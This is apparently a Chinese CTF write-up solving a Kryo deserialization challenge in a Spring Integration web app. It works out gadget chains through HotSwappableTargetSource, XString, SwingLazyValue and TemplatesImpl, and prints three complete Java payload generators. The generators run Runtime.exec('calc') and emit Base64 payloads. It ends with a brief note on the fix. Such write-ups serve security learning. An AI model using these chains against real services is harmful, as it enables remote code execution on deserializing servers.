燕子,我终于来了,tnnd早就看上了这道题,然后学kryo复现coffee发现需要RASP,然后学RASP,学完学Hessian,然后才润来🤢,让燕子久等了
- 提示:Hessian原生JDK利用
- Kryo反序列化
老规矩自己 分析一波
kryo 4.0.2 kryo序列化框架,需要对序列/反序列化的类进行注册,高版本还需有无参构造,默认FieldSerialize序列化方式
snakeyaml-1.26
asm-5.0.4
说好的hessian原生JDK,没hessian依赖呀。。。
先看给出的类,实质性就二个类,一个javabean、一个controller
public class MessageController {
@RequestMapping({"/"})
@ResponseBody
public Object message(String message) throws Exception {
byte[] decodemsg;
if (message == null) {
decodemsg = Base64.getDecoder().decode("ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAHLyYj656nh3Rj89bSK7ufJrcoDAXRpbWVzdGFt8AnMwumxjGIBAWNvbS5zZWEuVXNl8gEBMbABc2VhY2xvdWTz");
} else {
try {
decodemsg = Base64.getDecoder().decode(message);
} catch (Exception e) {
decodemsg = Base64.getDecoder().decode("ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAGBw5uOyvHs1sGsg/nqhOyP9pIDAXRpbWVzdGFt8AnmifmxjGIBAWNvbS5zZWEuVXNl8gEBMbABZXJyb/I=");
}
}
return new CodecMessageConverter(new MessageCodec()).toMessage(decodemsg, null).getPayload();
}
}
给的乱七八糟的,人家不都是直接给反序列化🐎,这里呃呃呃(麻烦的是一个接口套一个接口)
但不是所有java题都是考链子的!!!
codec是我们传进去的new MessageCodec(),这里 this.codec.decode(字节码,object类)
然后继续跟进decode中
自己跟进去找到的,应该不是巧合叭,如果是巧合我真的######了
上面其实不用调试,肯定是直接到readobject了,接下来就是找链子了:
斯好tm熟悉啊,这里hashmap无疑了,上一道题用的是rome+signObject二次反序列化搞得,可是这道题没有rome依赖难搞
斯看了看这几天的笔记,以及Dubbo那个CVE
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
write:-1, ASMSerializer_1_TemplatesImpl (com.alibaba.fastjson.serializer)
write:270, MapSerializer (com.alibaba.fastjson.serializer)
write:44, MapSerializer (com.alibaba.fastjson.serializer)
write:280, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:863, JSON (com.alibaba.fastjson)
toString:857, JSON (com.alibaba.fastjson)
//上面是需要fastjson依赖的
//下面是我有的链子
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:635, HashMap (java.util)
put:612, HashMap (java.util)
read:162, MapSerializer (com.esotericsoftware.kryo.serializers)
read:39, MapSerializer (com.esotericsoftware.kryo.serializers)
readClassAndObject:813, Kryo (com.esotericsoftware.kryo)
readObject:136, KryoObjectInput (org.apache.dubbo.common.serialize.kryo)
readObject:147, KryoObjectInput (org.apache.dubbo.common.serialize.kryo)
decode:116, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
所以我们当前的问题就是如何找到某一个类的#toString方法然后命令执行
既然提到了hessian原生jdk而没有依赖,八成是用到了其中的链子,我在调试hessian链子的时候也发现很多类不需要第三方库的依赖
(hessian
专有的包是com.cacho,toString我的天直接搬迁)
runMain:131, JavaWrapper (com.sun.org.apache.bcel.internal.util)
_main:153, JavaWrapper (com.sun.org.apache.bcel.internal.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
createValue:73, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
getAttribute:265, PKCS9Attributes (sun.security.pkcs)
toString:334, PKCS9Attributes (sun.security.pkcs)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:2880, Hessian2Input (com.caucho.hessian.io)
readString:1398, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
readObject:2122, Hessian2Input (com.caucho.hessian.io)
进行拼接一下
runMain:131, JavaWrapper (com.sun.org.apache.bcel.internal.util)
_main:153, JavaWrapper (com.sun.org.apache.bcel.internal.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
createValue:73, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
getAttribute:265, PKCS9Attributes (sun.security.pkcs)
toString:334, PKCS9Attributes (sun.security.pkcs)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:635, HashMap (java.util)
put:612, HashMap (java.util)
read:162, MapSerializer (com.esotericsoftware.kryo.serializers)
read:39, MapSerializer (com.esotericsoftware.kryo.serializers)
readClassAndObject:813, Kryo (com.esotericsoftware.kryo)
readObject:136, KryoObjectInput (org.apache.dubbo.common.serialize.kryo)
readObject:147, KryoObjectInput (org.apache.dubbo.common.serialize.kryo)
decode:116, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
果然是这样好完
思考了一个东西:上次因为是kryo5.2版本,所以需要修改注册等等,但这道题是4.2版本,默认是false所以不需要更改,想了半天咋绕过纯脑瘫😡😡😡😡
就是构造链子
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:635, HashMap (java.util)
put:612, HashMap (java.util)
read:162, MapSerializer (com.esotericsoftware.kryo.serializers)
read:39, MapSerializer (com.esotericsoftware.kryo.serializers)
readClassAndObject:813, Kryo (com.esotericsoftware.kryo)
readObject:136, KryoObjectInput (org.apache.dubbo.common.serialize.kryo)
readObject:147, KryoObjectInput (org.apache.dubbo.common.serialize.kryo)
decode:116, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
HotSwappableTargetSource.java
public boolean equals(Object other) {
return this == other || other instanceof HotSwappableTargetSource && this.target.equals(((HotSwappableTargetSource)other).target);
}
//目的很明确,target为Xstring,反射赋值即可 但是!!!
other instanceof HotSwappableTargetSource 必须符合这个为true,才能执行后面的equals呀
other需要是HotSwappableTargetSource类型,下面Xstring.equals()的参数就是other的target属性
吼吼吼不愧是我哈哈哈哈
package com.sea;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
public class payload {
public static void main(String[] args) throws Exception {
PKCS9Attributes s = createWithoutConstructor(PKCS9Attributes.class);
UIDefaults uiDefaults = new UIDefaults();
JavaClass evil = Repository.lookupClass(test.class);
String payload = "$$BCEL$$" + Utility.encode(evil.getBytes(), true);
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}}));
setFieldValue(s,"attributes",uiDefaults);
//s是最后的toString
XString xstring=new XString("a");
// xstring.equals(s);
HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource("aa");
HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource("aa");
setFieldValue(hotSwappableTargetSource1,"target",xstring);
setFieldValue(hotSwappableTargetSource2,"target",s);
hotSwappableTargetSource1.equals(hotSwappableTargetSource2);
// com.sun.org.apache.xpath.internal.objects.XString
//
//
// equals:392, XString (com.sun.org.apache.xpath.internal.objects)
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
接下来只需要让hashmap调用到就行了,然后反序列化调试通即可(可是hashmap又又又忘了逻辑了,这里先试试
)
final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
boolean evict) {
Node<K,V>[] tab; Node<K,V> p; int n, i;
if ((tab = table) == null || (n = tab.length) == 0)
n = (tab = resize()).length;
if ((p = tab[i = (n - 1) & hash]) == null)
tab[i] = newNode(hash, key, value, null);
else {
Node<K,V> e; K k;
//p是上一个的hash,
if (p.hash == hash &&
((k = p.key) == key || (key != null && key.equals(k))))
e = p;
每次都被卡这里服啦,(这次一定要写一个一劳永逸的脚本)
这个报错给我干蒙蔽了(奇怪的是序列化竟然可以弹计算器)
key
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("aa","2");
map1.put("bB","1");
map2.put("aa","1");
map2.put("bB","2");
HashMap map = new HashMap();
map.put(map1,"");
map.put(map2,"");
好好好,没想到卡在这一步服了 明天搞定你tnnd,再写一个自动化脚本
hashmap#readobject进行分析
执行key.equals(k)的前置条件是,p.hash==hash,hash就是计算key键值的hashcode值,如果key的对象重写了hashcode就会执行重写的否则就是普通的hashcode,然后就会执行equals方法,也是 当前key .equals(上一个key)
还是这个报错我就不理解了呀
tnnd就是打不通,但是hessian不只是一条原生jdk条链子呢,天涯何处无芳草,别在一棵树上吊死😡😡😡
invoke:275, MethodUtil (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
createValue:73, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
toString:253, MimeTypeParameterList (javax.activation)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:2880, Hessian2Input (com.caucho.hessian.io)
readString:1398, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
readObject:2122, Hessian2Input (com.caucho.hessian.io)
继续缝合一下
HashMap#readObject
HashMap#putVal
HowSwappableTargetSource#equals
XString#toString()
invoke:275, MethodUtil (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
createValue:73, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
toString:253, MimeTypeParameterList (javax.activation)
XString中的equals方法会调用指定类的
咦,莫非没继承序列化接口的不能这么写
发现自己掉进了一个大坑
上面的纯属是hashmap不成功就不成功呗,但只要题目的流程命令执行不就行了,直接把题目的挪过来调试
首先这里有一个解码所以我们先加密
这里坑点1:指定了解密的类型 this.messageClass
,所以我们加密也需要他
GenericMessage message = new GenericMessage(hashMap);
MessageCodec messageCodec = new MessageCodec();
byte[] bytes = messageCodec.encode(message);
codec就是我们传入的,new MessageCodec(),所以它解密它加密没毛病把
package com.sea;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.integration.codec.CodecMessageConverter;
import org.springframework.integration.codec.kryo.MessageCodec;
import org.springframework.messaging.Message;
import org.springframework.messaging.MessageHeaders;
import org.springframework.messaging.support.GenericMessage;
import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.HashMap;
public class ttt {
public static void main(String[] args) throws Exception {
UIDefaults uiDefaults = new UIDefaults();
Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
Method exec = Class.forName("java.lang.Runtime").getDeclaredMethod("exec", String.class);
SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}}});
uiDefaults.put("p4d0rn", slz);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);
XString x = new XString("test");
HashMap<Object, Object> hashMap = new HashMap<>();
Object v1 = new HotSwappableTargetSource(mimeTypeParameterList);
Object v2 = new HotSwappableTargetSource(x);
setFieldValue(hashMap, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(hashMap, "table", tbl);
// serialize(hashMap);
// unserialize("ser.bin");
GenericMessage message = new GenericMessage(hashMap);
MessageCodec messageCodec = new MessageCodec();
byte[] bytes = messageCodec.encode(message);
System.out.println(new String(Base64.getEncoder().encode(bytes)));
CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
Message<?> messagecode = codecMessageConverter.toMessage(bytes, (MessageHeaders) null);
messagecode.getPayload();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
return objectInputStream.readObject();
}
}
水文章的时候发现一个更简单的方法
是通过jackson方法打的,斯长城杯都想到了 badattribute–>jackson#tostring—->getter
这个没想到不应该呀,这里(入口肯定是hashmap因为是MapSerialize)
package com.sea;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.integration.codec.CodecMessageConverter;
import org.springframework.integration.codec.kryo.MessageCodec;
import org.springframework.messaging.Message;
import org.springframework.messaging.MessageHeaders;
import org.springframework.messaging.support.GenericMessage;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;
public class jackson {
public static void main(String[] args) throws Exception {
// 二次反序列化 BadAttributeValueExpException -> POJONode -> TemplatesImpl
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
CtClass ctClass = pool.makeClass("EvilGeneratedByJavassist");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
CtConstructor ctConstructor = CtNewConstructor.make("public EvilGeneratedByJavassist(){Runtime.getRuntime().exec(\"calc\");}", ctClass);
ctClass.addConstructor(ctConstructor);
byte[] byteCode = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "whatever");
setFieldValue(templates, "_bytecodes", new byte[][]{byteCode});
POJONode pojoNode1 = new POJONode(templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("whatever");
setFieldValue(badAttributeValueExpException, "val", pojoNode1);
// 一次反序列化 HotSwappableTargetSource -> XString -> POJONode -> SignedObject
// 初始化 SignedObject
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
// 设置二次反序列化入口
SignedObject signedObject = new SignedObject(badAttributeValueExpException, privateKey, signingEngine);
POJONode pojoNode2 = new POJONode(signedObject);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(pojoNode2);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("whatever"));
// 手动构造 HashMap 以防触发正向利用链
HashMap hashMap = new HashMap();
setFieldValue(hashMap, "size", 2);
Class nodeC;
nodeC = Class.forName("java.util.HashMap$Node");
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, h1, "whatever", null));
Array.set(tbl, 1, nodeCons.newInstance(0, h2, "whatever", null));
setFieldValue(hashMap, "table", tbl);
CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
// 序列化
GenericMessage genericMessage = new GenericMessage(hashMap);
byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null);
System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(decodemsg), "UTF-8"));
// 反序列化
Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders) null);
//messagecode.getPayload();
}
public static void setFieldValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
CodecMessageConverter
-> toMessage(decodemsg, ...)
this.codec.decode(decodemsg, ...)
AbstractKryoCodec
-> decode(decodemsg, ...)
PojoCodec
-> doDecode(...)
Kryo
-> readObject(...)
MapSerializer
-> read(...)
Map#put(hotSwappableTargetSource, ...)
HotSwappableTargetSource
-> equals(...)
XString
-> equals(pojoNode)
BaseJsonNode
-> toString()
InternalNodeMapper#nodeToString(this)
SignedObject
-> getObject()
a.readObject()
BadAttributeValueExpException
-> readObject()
valObj.toString()
BaseJsonNode
-> toString()
InternalNodeMapper#nodeToString(this)
TemplatesImpl
-> getOutputProperties()
...
FIX阶段
代码中有一个没用的javabean只作为信息的输出。
直接搬路径这也行???
直接禁掉,生成字节码中的类
关于hashmap的问题,会自己单独写一篇文章
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。